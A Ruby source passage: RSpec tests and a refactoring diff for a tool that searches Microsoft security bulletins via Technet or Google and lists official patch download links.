p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms15_100_html))
expect(p).to eq(expected_pattern)
end
it 'returns a pattern for ms07-029' do
expected_pattern = '//div[@id="mainBody"]//ul//li//a[contains(text(), "Download the update")]'
p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms07_029_html))
expect(p).to eq(expected_pattern)
end
it 'returns a pattern for ms03-039' do
expected_pattern = '//div[@id="mainBody"]//div//div[@class="sectionblock"]//ul//li//a'
p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms03_039_html))
expect(p).to eq(expected_pattern)
end
it 'returns a pattern for ms07-030' do
expected_pattern = '//div[@id="mainBody"]//table//a'
p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms07_030_html))
expect(p).to eq(expected_pattern)
end
end
describe '#get_details_aspx' do
let(:details_aspx) do
res = Rex::Proto::Http::Response.new
allow(res).to receive(:body).and_return(ms15_100_html)
res
end
it 'returns an URI object to a details aspx' do
links = patch_link_collector.get_details_aspx(details_aspx)
expected_uri = 'https://www.microsoft.com/downloads/details.aspx?familyid=1'
expect(links.length).to eq(1)
expect(links.first).to be_kind_of(URI)
expect(links.first.to_s).to eq(expected_uri)
end
end
describe '#follow_redirect' do
let(:expected_header) do
{ 'Location' => 'http://example.com/' }
end
let(:http_res) do
res = Rex::Proto::Http::Response.new
allow(res).to receive(:headers).and_return(expected_header)
res
end
it 'goes to a location based on the Location HTTP header' do
cli = Rex::Proto::Http::Client.new('127.0.0.1')
allow(cli).to receive(:connect)
allow(cli).to receive(:request_cgi)
allow(cli).to receive(:send_recv).and_return(http_res)
allow(Rex::Proto::Http::Client).to receive(:new).and_return(cli)
expect(patch_link_collector.follow_redirect(technet, http_res).headers).to eq(expected_header)
end
end
describe '#get_download_page' do
it 'returns a Rex::Proto::Http::Response object' do
uri = URI('http://www.example.com/')
expect(patch_link_collector.get_download_page(uri)).to be_kind_of(Rex::Proto::Http::Response)
end
end
describe '#get_download_links' do
let(:confirm_aspx) do
%Q|
<html>
<a href="https://www.microsoft.com/en-us/download/confirmation.aspx?id=1">Download</a>
</html>
|
end
let(:expected_link) do
'https://download.microsoft.com/download/9/0/6/906BC7A4-7DF7-4C24-9F9D-3E801AA36ED3/Windows6.0-KB3087918-x86.msu'
end
let(:download_html_res) do
Rex::Proto::Http::Response.new.tap { |response|
allow(response).to receive(:body).and_return(
%Q|
<html>
<a href="#{expected_link}">Click here</a>
</html>
|
)
}
end
it 'returns an array of links' do
cli = Rex::Proto::Http::Client.new('127.0.0.1')
allow(cli).to receive(:connect)
allow(cli).to receive(:request_cgi)
allow(cli).to receive(:send_recv).and_return(download_html_res)
allow(Rex::Proto::Http::Client).to receive(:new).and_return(cli)
expect(patch_link_collector.get_download_links(confirm_aspx).first).to eq(expected_link)
end
end
describe '#has_advisory?' do
it 'returns true if the page is found' do
res = Rex::Proto::Http::Response.new
expect(patch_link_collector.has_advisory?(res)).to be_truthy
end
it 'returns false if the page is not found' do
html = %Q|
<html>
We are sorry. The page you requested cannot be found
</html>
|
res = Rex::Proto::Http::Response.new
allow(res).to receive(:body).and_return(html)
expect(patch_link_collector.has_advisory?(res)).to be_falsey
end
end
describe '#is_valid_msb?' do
let(:good_msb) do
'MS15-100'
end
let(:bad_msb) do
'MS15-01'
end
it 'returns true if the MSB format is correct' do
expect(patch_link_collector.is_valid_msb?(good_msb)).to be_truthy
end
it 'returns false if the MSB format is incorrect' do
expect(patch_link_collector.is_valid_msb?(bad_msb)).to be_falsey
end
end
end
describe MicrosoftPatchFinder::TechnetMsbSearch do
subject(:technet_msb_search) do
MicrosoftPatchFinder::TechnetMsbSearch.new
end
before(:example) do
allow_any_instance_of(MicrosoftPatchFinder::TechnetMsbSearch).to receive(:print_debug)
allow_any_instance_of(MicrosoftPatchFinder::TechnetMsbSearch).to receive(:send_http_request) { |info_obj, info_opts, opts|
case opts['uri']
when /\/en\-us\/security\/bulletin\/dn602597\.aspx/
html = %Q|
<div class="sb-search">
<div class="SearchBox">
<input type="text" id="txtSearch" title="Search Security Bulletins" value="Search Security Bulletins" />
<input type="button" id="btnSearch" />
</div>
<select id="productDropdown">
<option value="-1">All</option>
<option value="10175">Active Directory</option>
<option value="10401">Windows Internet Explorer 10</option>
<option value="10486">Windows Internet Explorer 11</option>
<option value="1282">Windows Internet Explorer 7</option>
<option value="1233">Windows Internet Explorer 8</option>
<option value="10054">Windows Internet Explorer 9</option>
</select>
</div>
|
when /\/security\/bulletin\/services\/GetBulletins/
html = %Q|{
"l":1,
"b":[
{
"d":"9/8/2015",
"Id":"MS15-100",
"KB":"3087918",
"Title":"Vulnerability in Windows Media Center Could Allow Remote Code Execution",
"Rating":"Important"
}
]
}
|
else
html = ''
end
res = Rex::Proto::Http::Response.new
allow(res).to receive(:body).and_return(html)
res
}
end
let(:ie10) do
'Windows Internet Explorer 10'
end
let(:ie10_id) do
10401
end
describe '#find_msb_numbers' do
it 'returns an array of found MSB numbers' do
msb = technet_msb_search.find_msb_numbers(ie10)
expect(msb).to be_kind_of(Array)
expect(msb.first).to eq('ms15-100')
end
end
describe '#search' do
it 'returns search results in JSON format' do
results = technet_msb_search.search(ie10)
expect(results).to be_kind_of(Hash)
expect(results['b'].first['Id']).to eq('MS15-100')
end
end
describe '#search_by_product_ids' do
it 'returns an array of found MSB numbers' do
results = technet_msb_search.search_by_product_ids([ie10_id])
expect(results).to be_kind_of(Array)
expect(results.first).to eq('ms15-100')
end
end
describe '#search_by_keyword' do
it 'returns an array of found MSB numbers' do
results = technet_msb_search.search_by_keyword('ms15-100')
expect(results).to be_kind_of(Array)
expect(results.first).to eq('ms15-100')
end
end
describe '#get_product_dropdown_list' do
it 'returns an array of products' do
results = technet_msb_search.get_product_dropdown_list
expect(results).to be_kind_of(Array)
expect(results.first).to be_kind_of(Hash)
expected_hash = {:option_value=>"10175", :option_text=>"Active Directory"}
expect(results.first).to eq(expected_hash)
end
end
end
describe MicrosoftPatchFinder::GoogleMsbSearch do
subject(:google_msb_search) do
MicrosoftPatchFinder::GoogleMsbSearch.new
end
let(:json_data) do
%Q|{
"kind": "customsearch#search",
"url": {
"type": "application/json",
"template": ""
},
"queries": {
"request": [
{
"title": "Google Custom Search - internet",
"totalResults": "1",
"searchTerms": "internet",
"count": 10,
"startIndex": 1,
"inputEncoding": "utf8",
"outputEncoding": "utf8",
"safe": "off",
"cx": ""
}
]
},
"context": {
"title": "Technet.microsoft"
},
"searchInformation": {
"searchTime": 0.413407,
"formattedSearchTime": "0.41",
"totalResults": "1",
"formattedTotalResults": "1"
},
"items": [
{
"kind": "customsearch#result",
"title": "Microsoft Security Bulletin MS15-093 - Critical",
"htmlTitle": "Microsoft Security Bulletin MS15-093 - Critical",
"link": "https://technet.microsoft.com/en-us/library/security/ms15-093.aspx",
"displayLink": "technet.microsoft.com",
"snippet": "",
"htmlSnippet": "",
"cacheId": "2xDJB6zqL_sJ",
"formattedUrl": "https://technet.microsoft.com/en-us/library/security/ms15-093.aspx",
"htmlFormattedUrl": "https://technet.microsoft.com/en-us/library/security/ms15-093.aspx",
"pagemap": {
"metatags": [
{
"search.mshkeyworda": "ms15-093",
"search.mshattr.assetid": "ms15-093",
"search.mshattr.docset": "bulletin",
"search.mshattr.sarticletype": "bulletin",
"search.mshattr.sarticleid": "MS15-093",
"search.mshattr.sarticletitle": "Security Update for Internet Explorer",
"search.mshattr.sarticledate": "2015-08-20",
"search.mshattr.sarticleseverity": "Critical",
"search.mshattr.sarticleversion": "1.1",
"search.mshattr.sarticlerevisionnote": "",
"search.mshattr.sarticleseosummary": "",
"search.mshattr.skbnumber": "3088903",
"search.mshattr.prefix": "MSRC",
"search.mshattr.topictype": "kbOrient",
"search.mshattr.preferredlib": "/library/security",
"search.mshattr.preferredsitename": "TechNet",
"search.mshattr.docsettitle": "MSRC Document",
"search.mshattr.docsetroot": "Mt404691",
"search.save": "history",
"search.microsoft.help.id": "ms15-093",
"search.description": "",
"search.mscategory": "dn567670",
"search.mscategoryv": "dn567670Security10",
"search.tocnodeid": "mt404691",
"mshkeyworda": "ms15-093",
"mshattr": "AssetID:ms15-093",
"save": "history",
"microsoft.help.id": "ms15-093"
}
]
}
}
]
}
|
end
before(:example) do
allow_any_instance_of(MicrosoftPatchFinder::GoogleMsbSearch).to receive(:print_debug)
allow_any_instance_of(MicrosoftPatchFinder::GoogleMsbSearch).to receive(:send_http_request) { |info_obj, info_opts, opts|
res = Rex::Proto::Http::Response.new
allow(res).to receive(:body).and_return(json_data)
res
}
end
let(:expected_msb) do
'ms15-093'
end
describe '#find_msb_numbers' do
it 'returns an array of msb numbers' do
results = google_msb_search.find_msb_numbers(expected_msb)
expect(results).to be_kind_of(Array)
expect(results).to eq([expected_msb])
end
end
describe '#search' do
it 'returns a hash (json data)' do
results = google_msb_search.search(starting_index: 1)
expect(results).to be_kind_of(Hash)
end
end
describe '#parse_results' do
it 'returns a hash (json data)' do
res = Rex::Proto::Http::Response.new
allow(res).to receive(:body).and_return(json_data)
results = google_msb_search.parse_results(res)
expect(results).to be_kind_of(Hash)
end
end
describe '#get_total_results' do
it 'returns a fixnum' do
total = google_msb_search.get_total_results(JSON.parse(json_data))
expect(total).to be_kind_of(Fixnum)
end
end
describe '#get_next_index' do
it 'returns a fixnum' do
i = google_msb_search.get_next_index(JSON.parse(json_data))
expect(i).to be_kind_of(Fixnum)
end
end
end
describe MicrosoftPatchFinder::Driver do
let(:msb) do
'ms15-100'
end
let(:expected_link) do
'http://download.microsoft.com/download/9/0/6/906BC7A4-7DF7-4C24-9F9D-3E801AA36ED3/Windows6.0-KB3087918-x86.msu'
end
before(:example) do
opts = { keyword: msb }
allow(MicrosoftPatchFinder::OptsConsole).to receive(:get_parsed_options).and_return(opts)
allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:download_advisory).and_return(Rex::Proto::Http::Response.new)
allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:get_details_aspx).and_return([expected_link])
allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:get_download_page).and_return(Rex::Proto::Http::Response.new)
allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:get_download_links).and_return([expected_link])
allow_any_instance_of(MicrosoftPatchFinder::Driver).to receive(:print_debug)
allow_any_instance_of(MicrosoftPatchFinder::Driver).to receive(:print_error)
allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:print_debug)
allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:print_error)
end
subject(:driver) do
MicrosoftPatchFinder::Driver.new
end
describe '#get_download_links' do
it 'returns an array of links' do
results = driver.get_download_links(msb)
expect(results).to be_kind_of(Array)
expect(results.first).to eq(expected_link)
end
end
describe '#google_search' do
it 'returns search results' do
skip('See rspec for MicrosoftPatchFinder::GoogleMsbSearch#find_msb_numbers')
end
end
describe '#technet_search' do
it 'returns search results' do
skip('See rspec for MicrosoftPatchFinder::TechnetMsbSearch#find_msb_numbers')
end
end
end
end

View File

@ -1,582 +1,23 @@
#!/usr/bin/env ruby
###
#
# This script will enumerate download links for Microsoft patches.
#
# Author:
# * sinn3r
#
###
msfbase = __FILE__
while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
require 'rex'
require 'nokogiri'
require 'uri'
require 'json'
require 'patch_finder/core/helper'
require 'patch_finder/msu'
require 'optparse'
module MicrosoftPatchFinder
class PatchFinderBin
module SiteInfo
TECHNET = {
ip: '157.56.148.23',
vhost: 'technet.microsoft.com'
}
include PatchFinder::Helper
MICROSOFT = {
ip: '104.72.230.162',
vhost: 'www.microsoft.com'
}
attr_reader :args
GOOGLEAPIS = {
ip: '74.125.28.95',
vhost: 'www.googleapis.com'
}
end
# This provides whatever other classes need.
module Helper
# Prints a debug message.
#
# @param msg [String] The message to print.
# @return [void]
def print_debug(msg='')
$stderr.puts "[DEBUG] #{msg}"
end
# Prints a status message.
#
# @param msg [String] The message to print.
# @return [void]
def print_status(msg='')
$stderr.puts "[*] #{msg}"
end
# Prints an error message.
#
# @param msg [String] The message to print.
# @return [void]
def print_error(msg='')
$stderr.puts "[ERROR] #{msg}"
end
# Prints a regular message.
#
# @param msg [String] The message to print.
# @return pvoid
def print_line(msg='')
$stdout.puts msg
end
# Sends an HTTP request with Rex.
#
# @param rhost [Hash] Information about the target host. Use MicrosoftPatchFinder::SiteInfo.
# @option rhost [String] :vhost
# @option rhost [String] :ip IPv4 address
# @param opts [Hash] Information about the Rex request.
# @raise [RuntimeError] Failure to make a request.
# @return [Rex::Proto::Http::Response]
def send_http_request(rhost, opts={})
res = nil
opts.merge!({'vhost'=>rhost[:vhost]})
print_debug("Requesting: #{opts['uri']}")
cli = Rex::Proto::Http::Client.new(rhost[:ip], 443, {}, true, 'TLS1')
tries = 1
begin
cli.connect
req = cli.request_cgi(opts)
res = cli.send_recv(req)
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
if tries < 3
print_error("Failed to make a request, but will try again in 5 seconds...")
sleep(5)
tries += 1
retry
else
raise "[x] Unable to make a request: #{e.class} #{e.message}\n#{e.backtrace * "\n"}"
end
ensure
cli.close
end
res
end
end
# Collects MSU download links from Technet.
class PatchLinkCollector
include MicrosoftPatchFinder::Helper
# Returns a response of an advisory page.
#
# @param msb [String] MSB number in this format: msxx-xxx
# @return [Rex::Proto::Http::Response]
def download_advisory(msb)
send_http_request(SiteInfo::TECHNET, {
'uri' => "/en-us/library/security/#{msb}.aspx"
})
end
# Returns the most appropriate pattern that could be used to parse and extract links from an advisory.
#
# @param n [Nokogiri::HTML::Document] The advisory page parsed by Nokogiri
# @return [Hash]
def get_appropriate_pattern(n)
# These pattern checks need to be in this order.
patterns = [
# This works from MS14-001 until the most recent
{
check: '//div[@id="mainBody"]//div//h2//div//span[contains(text(), "Affected Software")]',
pattern: '//div[@id="mainBody"]//div//div[@class="sectionblock"]//table//a'
},
# This works from ms03-040 until MS07-029
{
check: '//div[@id="mainBody"]//ul//li//a[contains(text(), "Download the update")]',
pattern: '//div[@id="mainBody"]//ul//li//a[contains(text(), "Download the update")]'
},
# This works from sometime until ms03-039
{
check: '//div[@id="mainBody"]//div//div[@class="sectionblock"]//p//strong[contains(text(), "Download locations")]',
pattern: '//div[@id="mainBody"]//div//div[@class="sectionblock"]//ul//li//a'
},
# This works from MS07-030 until MS13-106 (the last update in 2013)
# The check is pretty short so if it kicks in too early, it tends to create false positives.
# So it goes last.
{
check: '//div[@id="mainBody"]//p//strong[contains(text(), "Affected Software")]',
pattern: '//div[@id="mainBody"]//table//a'
},
]
patterns.each do |pattern|
if n.at_xpath(pattern[:check])
return pattern[:pattern]
end
end
nil
end
# Returns the details page for an advisory.
#
# @param res [Rex::Proto::Http::Response]
# @return [Array<URI::HTTP>] An array of URI objects.
def get_details_aspx(res)
links = []
page = res.body
n = ::Nokogiri::HTML(page)
appropriate_pattern = get_appropriate_pattern(n)
n.search(appropriate_pattern).each do |anchor|
found_link = anchor.attributes['href'].value
if /https:\/\/www\.microsoft\.com\/downloads\/details\.aspx\?familyid=/i === found_link
begin
links << URI(found_link)
rescue ::URI::InvalidURIError
print_error "Unable to parse URI: #{found_link}"
end
end
end
links
end
# Returns the redirected page.
#
# @param rhost [Hash] From MicrosoftPatchFinder::SiteInfo
# @param res [Rex::Proto::Http::Response]
# @return [Rex::Proto::Http::Response]
def follow_redirect(rhost, res)
opts = {
'method' => 'GET',
'uri' => res.headers['Location']
}
send_http_request(rhost, opts)
end
# Returns the download page of an advisory.
#
# @param uri [URI::HTTP]
# @return [Rex::Proto::Http::Response]
def get_download_page(uri)
opts = {
'method' => 'GET',
'uri' => uri.request_uri
}
res = send_http_request(SiteInfo::MICROSOFT, opts)
if res.headers['Location']
return follow_redirect(SiteInfo::MICROSOFT, res)
end
res
end
# Returns a collection of found MSU download links from an advisory.
#
# @param page [String] The HTML page of the advisory.
# @return [Array<String>] An array of links
def get_download_links(page)
page = ::Nokogiri::HTML(page)
relative_uri = page.search('a').select { |a|
a.attributes['href'] && a.attributes['href'].value.include?('confirmation.aspx?id=')
}.first
return [] unless relative_uri
relative_uri = relative_uri.attributes['href'].value
absolute_uri = URI("https://www.microsoft.com/en-us/download/#{relative_uri}")
opts = {
'method' => 'GET',
'uri' => absolute_uri.request_uri
}
res = send_http_request(SiteInfo::MICROSOFT, opts)
n = ::Nokogiri::HTML(res.body)
n.search('a').select { |a|
a.attributes['href'] && a.attributes['href'].value.include?('https://download.microsoft.com/download/')
}.map! { |a| a.attributes['href'].value }.uniq
end
# Returns whether the page is an advisory or not.
#
# @param res [Rex::Proto::Http::Response]
# @return [Boolean] true if the page is an advisory, otherwise false.
def has_advisory?(res)
!res.body.include?('We are sorry. The page you requested cannot be found')
end
# Returns whether the number is in valid MSB format or not.
#
# @param msb [String] The number to check.
# @return [Boolean] true if the number is in MSB format, otherwise false.
def is_valid_msb?(msb)
/^ms\d\d\-\d\d\d$/i === msb
end
end
# A class that searches advisories from Technet.
class TechnetMsbSearch
include MicrosoftPatchFinder::Helper
def initialize
opts = {
'method' => 'GET',
'uri' => '/en-us/security/bulletin/dn602597.aspx'
}
res = send_http_request(SiteInfo::TECHNET, opts)
@firstpage ||= res.body
end
# Returns a collection of found MSB numbers either from the product list, or generic search.
#
# @param keyword [String] The product to look for.
# @return [Array<String>]
def find_msb_numbers(keyword)
product_list_matches = get_product_dropdown_list.select { |p| Regexp.new(keyword) === p[:option_text] }
if product_list_matches.empty?
print_debug("Did not find a match from the product list, attempting a generic search")
search_by_keyword(keyword)
else
product_names = []
ids = []
product_list_matches.each do |e|
ids << e[:option_value]
product_names << e[:option_text]
end
print_debug("Matches from the product list (#{product_names.length}): #{ product_names * ', ' }")
search_by_product_ids(ids)
end
end
# Returns the search results in JSON format.
#
# @param keyword [String] The keyword to search.
# @return [Hash] JSON data.
def search(keyword)
opts = {
'method' => 'GET',
'uri' => '/security/bulletin/services/GetBulletins',
'vars_get' => {
'searchText' => keyword,
'sortField' => '0',
'sortOrder' => '1',
'currentPage' => '1',
'bulletinsPerPage' => '9999',
'locale' => 'en-us'
}
}
res = send_http_request(SiteInfo::TECHNET, opts)
begin
return JSON.parse(res.body)
rescue JSON::ParserError
end
{}
end
# Performs a search based on product IDs
#
# @param ids [Array<Fixnum>] An array of product IDs.
# @return [Array<String>] An array of found MSB numbers.
def search_by_product_ids(ids)
msb_numbers = []
ids.each do |id|
j = search(id)
msb = j['b'].collect { |e| e['Id']}.map{ |e| e.downcase}
msb_numbers.concat(msb)
end
msb_numbers
end
# Performs a search based on a keyword
#
# @param keyword [String]
# @return [Array<String>] An array of found MSB numbers
def search_by_keyword(keyword)
j = search(keyword)
j['b'].collect { |e| e['Id']}.map{ |e| e.downcase }
end
# Returns the product list that Technet currently supports for searching.
#
# @return [Array<Hash>]
def get_product_dropdown_list
@product_dropdown_list ||= lambda {
list = []
page = ::Nokogiri::HTML(firstpage)
page.search('//div[@class="sb-search"]//select[@id="productDropdown"]//option').each do |product|
option_value = product.attributes['value'].value
option_text = product.text
next if option_value == '-1' # This is the ALL option
list << { option_value: option_value, option_text: option_text }
end
list
}.call
end
attr_reader :firstpage
end
class GoogleMsbSearch
include MicrosoftPatchFinder::Helper
# API Doc:
# https://developers.google.com/custom-search/json-api/v1/using_rest
# Known bug:
# * Always gets 20 MSB results. Weird.
def initialize(opts={})
@api_key = opts[:api_key]
@search_engine_id = opts[:search_engine_id]
end
# Returns the MSB numbers associated with the keyword.
#
# @param keyword [String] The keyword to search for in an advisory.
# @return [Array<String>] MSB numbers
def find_msb_numbers(keyword)
msb_numbers = []
next_starting_index = 1
begin
while
results = search(keyword: keyword, starting_index: next_starting_index)
items = results['items']
items.each do |item|
title = item['title']
msb = title.scan(/Microsoft Security Bulletin (MS\d\d\-\d\d\d)/).flatten.first
if msb
msb_numbers << msb.downcase
end
end
next_starting_index = get_next_index(results)
next_page = results['queries']['nextPage']
# Google API Documentation:
# https://developers.google.com/custom-search/json-api/v1/using_rest
# "This role is not present if the current results are the last page.
# Note: This API returns up to the first 100 results only."
break if next_page.nil? || next_starting_index > 100
end
rescue RuntimeError => e
print_error(e.message)
return msb_numbers.uniq
end
msb_numbers.uniq
end
# Performs a search using Google API
#
# @param opts [Hash]
# @options opts [String] :keyword The keyword to search
# @return [Hash] JSON data
def search(opts={})
starting_index = opts[:starting_index]
search_string = [
opts[:keyword],
'intitle:"Microsoft Security Bulletin"',
'-"Microsoft Security Bulletin Summary"'
].join(' ')
opts = {
'method' => 'GET',
'uri' => '/customsearch/v1',
'vars_get' => {
'key' => api_key,
'cx' => search_engine_id,
'q' => search_string,
'start' => starting_index.to_s,
'num' => '10', # 10 is max
'c2coff' => '1' # 1 = Disabled, 0 = Enabled
}
}
res = send_http_request(SiteInfo::GOOGLEAPIS, opts)
results = parse_results(res)
if starting_index == 1
print_debug("Number of search results: #{get_total_results(results)}")
end
results
end
# Parse Google API search results
#
# @param res [Rex::Proto::Http::Response]
# @raise [RuntimeError] If Google returns an error
# @return [Hash]
def parse_results(res)
j = JSON.parse(res.body)
if j['error']
message = j['error']['errors'].first['message']
reason = j['error']['errors'].first['reason']
raise "Google Search failed. #{message} (#{reason})"
end
j
end
# Returns the total results.
#
# @param j [Hash] JSON data from Google.
# @return [Fixnum]
def get_total_results(j)
j['queries']['request'].first['totalResults'].to_i
end
# Returns the next index.
#
# @param j [Hash] JSON data from Google.
# @return [Fixnum]
def get_next_index(j)
j['queries']['nextPage'] ? j['queries']['nextPage'].first['startIndex'] : 0
end
# @!attribute api_key
# @return [String] The Google API key
attr_reader :api_key
# @!attribute search_engine_id
# @return [String] The Google Custom Search Engine ID
attr_reader :search_engine_id
end
class OptsConsole
def self.banner
%Q|
Usage: #{__FILE__} [options]
The following example will download all IE update links:
#{__FILE__} -q "Internet Explorer"
Searching advisories via Technet:
When you submit a query, the Technet search engine will first look it up from a product list,
and then return all the advisories that include the keyword you are looking for. If there's
no match from the product list, then the script will try a generic search. The generic method
also means you can search by MSB, KB, or even the CVE number.
Searching advisories via Google:
Searching via Google requires an API key and an Search Engine ID from Google. To obtain these,
make sure you have a Google account (such as Gmail), and then do the following:
1. Go to Google Developer's Console
1. Enable Custom Search API
2. Create a browser type credential. The credential is the API key.
2. Go to Custom Search
1. Create a new search engine
2. Under Sites to Search, set: technet.microsoft.com
3. In your search site, get the Search Engine ID under the Basics tab.
By default, Google has a quota limit of 1000 queries per day. You can raise this limit with
a fee.
The way this tool uses Google to find advisories is the same as doing the following manually:
[Query] site:technet.microsoft.com intitle:"Microsoft Security Bulletin" -"Microsoft Security Bulletin Summary"
Dryrun:
If you'd like to double check on false positives, you can use the -d flag and manually verify
the accuracy of the search results before actually collecting the download links.
Download:
The following trick demonstrates how you can automatically download the updates:
ruby #{__FILE__} -q "ms15-100" -r x86 > /tmp/list.txt && wget -i /tmp/list.txt
Patch Extraction:
After downloading the patch, you can use the extract_msu.bat tool to automatically extract
Microsoft patches.
|
end
def self.get_parsed_options
def get_parsed_options
options = {}
parser = OptionParser.new do |opt|
opt.banner = banner.strip.gsub(/^[[:blank:]]{4}/, '')
opt.separator ''
opt.separator 'Specific options:'
opt.on('-q', '--query <keyword>', 'Find advisories that include this keyword') do |v|
opt.on('-q', '--query <keyword>', 'Find advisories including this keyword') do |v|
options[:keyword] = v
end
@ -587,7 +28,7 @@ module MicrosoftPatchFinder
when /^technet$/i
options[:search_engine] = :technet
else
raise OptionParser::MissingArgument, "Invalid search engine: #{v}"
fail OptionParser::InvalidOption, "Invalid search engine: #{v}"
end
end
@ -595,16 +36,20 @@ module MicrosoftPatchFinder
options[:regex] = v
end
opt.on('--apikey <key>', '(Optional) Google API key. Set this if the search engine is Google') do |v|
opt.on('--apikey <key>', '(Optional) Google API key.') do |v|
options[:google_api_key] = v
end
opt.on('--cx <id>', '(Optional) Google search engine ID. Set this if the search engine is Google') do |v|
opt.on('--cx <id>', '(Optional) Google search engine ID.') do |v|
options[:google_search_engine_id] = v
end
opt.on('-d', '--dryrun', '(Optional) Perform a search, but do not fetch download links. Default: no') do |v|
options[:dryrun] = true
opt.on('-d', '--dir <string>', '(Optional) The directory to save the patches') do |v|
unless File.directory?(v)
fail OptionParser::InvalidOption, "Directory not found: #{v}"
end
options[:destdir] = v
end
opt.on_tail('-h', '--help', 'Show this message') do
@ -616,9 +61,9 @@ module MicrosoftPatchFinder
parser.parse!
if options.empty?
raise OptionParser::MissingArgument, 'No options set, try -h for usage'
fail OptionParser::MissingArgument, 'No options set, try -h for usage'
elsif options[:keyword].nil? || options[:keyword].empty?
raise OptionParser::MissingArgument, '-q is required'
fail OptionParser::MissingArgument, '-q is required'
end
unless options[:search_engine]
@ -627,145 +72,37 @@ module MicrosoftPatchFinder
if options[:search_engine] == :google
if options[:google_api_key].nil? || options[:google_search_engine_id].empty?
raise OptionParser::MissingArgument, 'Search engine is Google, but no API key specified'
fail OptionParser::MissingArgument, 'No API key set for Google'
elsif options[:google_search_engine_id].nil? || options[:google_search_engine_id].empty?
raise OptionParser::MissingArgument, 'Search engine is Google, but no search engine ID specified'
fail OptionParser::MissingArgument, 'No search engine ID set for Google'
end
end
options
end
end
class Driver
include MicrosoftPatchFinder::Helper
def initialize
begin
@args = MicrosoftPatchFinder::OptsConsole.get_parsed_options
@args = get_parsed_options
rescue OptionParser::InvalidOption, OptionParser::MissingArgument => e
print_error(e.message)
exit
end
end
# Returns download links.
#
# @param msb [String] MSB number.
# @param regex [String] The regex pattern to use to collect specific download URLs.
# @return [Array<String>] Download links
def get_download_links(msb, regex=nil)
msft = MicrosoftPatchFinder::PatchLinkCollector.new
unless msft.is_valid_msb?(msb)
print_error "Not a valid MSB format."
print_error "Example of a correct one: ms15-100"
return []
end
res = msft.download_advisory(msb)
if !msft.has_advisory?(res)
print_error "The advisory cannot be found"
return []
end
links = msft.get_details_aspx(res)
if links.length == 0
print_error "Unable to find download.microsoft.com links. Please manually navigate to the page."
return []
def main
cli = PatchFinder::MSU.new(verbose: true)
links = cli.find_msu_download_links(args)
if args[:destdir]
print_status("Download links found: #{links.length}")
print_status('Downloading files, please wait...')
download_files(links, args[:destdir])
else
print_debug("Found #{links.length} affected products for this advisory.")
print_status('Download links found:')
print_line(links * "\n")
end
link_collector = []
links.each do |link|
download_page = msft.get_download_page(link)
download_links = msft.get_download_links(download_page.body)
if regex
filtered_links = download_links.select { |l| Regexp.new(regex) === l }
link_collector.concat(filtered_links)
else
link_collector.concat(download_links)
end
end
link_collector
end
# Performs a search via Google
#
# @param keyword [String] The keyword to search
# @param api_key [String] Google API key
# @param cx [String] Google Search Engine Key
# @return [Array<String>] See MicrosoftPatchFinder::GoogleMsbSearch#find_msb_numbers
def google_search(keyword, api_key, cx)
search = MicrosoftPatchFinder::GoogleMsbSearch.new(api_key: api_key, search_engine_id: cx)
search.find_msb_numbers(keyword)
end
# Performs a search via Technet
#
# @param keyword [String] The keyword to search
# @return [Array<String>] See MicrosoftPatchFinder::TechnetMsbSearch#find_msb_numbers
def technet_search(keyword)
search = MicrosoftPatchFinder::TechnetMsbSearch.new
search.find_msb_numbers(keyword)
end
def run
links = []
msb_numbers = []
keyword = args[:keyword]
regex = args[:regex] ? args[:regex] : nil
api_key = args[:google_api_key]
cx = args[:google_search_engine_id]
case args[:search_engine]
when :technet
print_debug("Searching advisories that include #{keyword} via Technet")
msb_numbers = technet_search(keyword)
when :google
print_debug("Searching advisories that include #{keyword} via Google")
msb_numbers = google_search(keyword, api_key, cx)
end
print_debug("Advisories found (#{msb_numbers.length}): #{msb_numbers * ', '}") unless msb_numbers.empty?
return if args[:dryrun]
msb_numbers.each do |msb|
print_debug("Finding download links for #{msb}")
links.concat(get_download_links(msb, regex))
end
unless links.empty?
print_status "Found these links:"
print_line links * "\n"
print_status "Total downloadable updates found: #{links.length}"
end
end
attr_reader :args
end
end
if __FILE__ == $PROGRAM_NAME
mod = MicrosoftPatchFinder::Driver.new
begin
mod.run
rescue Interrupt
$stdout.puts
$stdout.puts "Good bye"
end
bin = PatchFinderBin.new
bin.main
end
=begin
TODO:
* Make a gem
* Make it generic in order to manage different kind of patches and providers
* Multithreading
=end